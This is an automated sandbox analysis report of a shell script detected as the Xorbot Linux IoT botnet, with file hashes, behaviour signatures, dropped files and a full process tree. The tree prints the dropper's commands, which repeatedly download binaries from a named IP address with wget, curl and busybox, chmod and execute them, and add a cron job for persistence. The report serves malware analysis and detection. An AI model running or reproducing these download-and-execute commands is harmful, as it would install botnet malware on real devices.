Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/12/2024, 00:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c0ad2b98db1b8c83e6da5f77a57d8350

  • SHA1

    545c2cc1265a02324abccba69783a150fedf92eb

  • SHA256

    870cc4d0c483bf5dc2a67c7cbeaabb3a3473a56c94d3552e71c0d69907bc1d3c

  • SHA512

    9eb128346360523f2f5f83573cb5887bc11851a1d4ded13384c1b72e47d760f4f9463dddb5dfb9e9388765de94d2c161c5c5a1bf44bb8a3fca99c6243e6fb82d

  • SSDEEP

    192:8FWgRmRyRlSykOImIVR9ah5rR9ah5g5SRmRyRlSy5:8FWlOImIq5M

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1976) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:639
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:641
        • /usr/bin/wget
          wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Writes file to tmp directory
          PID:643
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Writes file to tmp directory
          PID:672
        • /bin/chmod
          chmod 777 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          ./97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
            • Writes file to tmp directory
            PID:711
          • /bin/chmod
            chmod 777 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
            • File and Directory Permissions Modification
            PID:720
          • /tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            ./2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
            • Executes dropped EXE
            PID:722
          • /bin/rm
            rm 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
            2⤵
              PID:724
            • /usr/bin/wget
              wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
              • Writes file to tmp directory
              PID:726
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:730
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/chmod
              chmod 777 MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
              • File and Directory Permissions Modification
              PID:748
            • /tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              ./MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
              • Executes dropped EXE
              PID:750
            • /bin/rm
              rm MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                • Writes file to tmp directory
                PID:754
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                • Writes file to tmp directory
                PID:768
              • /bin/chmod
                chmod 777 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                ./7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                • Executes dropped EXE
                PID:770
              • /bin/rm
                rm 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
                2⤵
                  PID:772
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                  • Writes file to tmp directory
                  PID:773
                • /usr/bin/curl
                  curl -O http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:774
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                  • Writes file to tmp directory
                  PID:775
                • /bin/chmod
                  chmod 777 AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                  • File and Directory Permissions Modification
                  PID:776
                • /tmp/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  ./AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                  • Executes dropped EXE
                  PID:777
                • /bin/rm
                  rm AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
                  2⤵
                    PID:779
                  • /usr/bin/wget
                    wget http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    2⤵
                    • Writes file to tmp directory
                    PID:780
                  • /usr/bin/curl
                    curl -O http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:781
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.164/bins/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /bin/chmod
                    chmod 777 MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /tmp/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    ./MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:784
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:786
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:787
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:788
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:789
                      • /bin/rm
                        rm MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0
                        2⤵
                          PID:791
                        • /usr/bin/wget
                          wget http://216.126.231.164/bins/G0nOSuEUkHQ2JDNY0dUgfd8Ke9XeqDsRXx
                          2⤵
                            PID:794

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/MmRCnf0uGdKSnJKTQR7N5j1qmziKp2scv0

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /var/spool/cron/crontabs/tmp.85HJbj

                          Filesize

                          210B

                          MD5

                          231518a703d9d73b48dae2a1187047cb

                          SHA1

                          205acb36a0b2b4b7b97a500eddc5e60586d3619a

                          SHA256

                          15fe575458c5aee78827020cd3256991e9cb4d8991e81d5178ca2b7f03511e98

                          SHA512

                          3009ca1e6e41bb70ef0c0cda5c4c64bb6d2e59fbbcf4ed942799fb4c997bb1cdeefd57b3e6ccdb376b1a50069e57ddf3260e476d1ad9ee2da35f79ace5a850ef